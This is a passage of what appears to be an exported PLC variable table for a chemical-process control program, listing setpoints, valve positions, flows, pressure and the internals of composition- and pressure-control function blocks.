+66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; 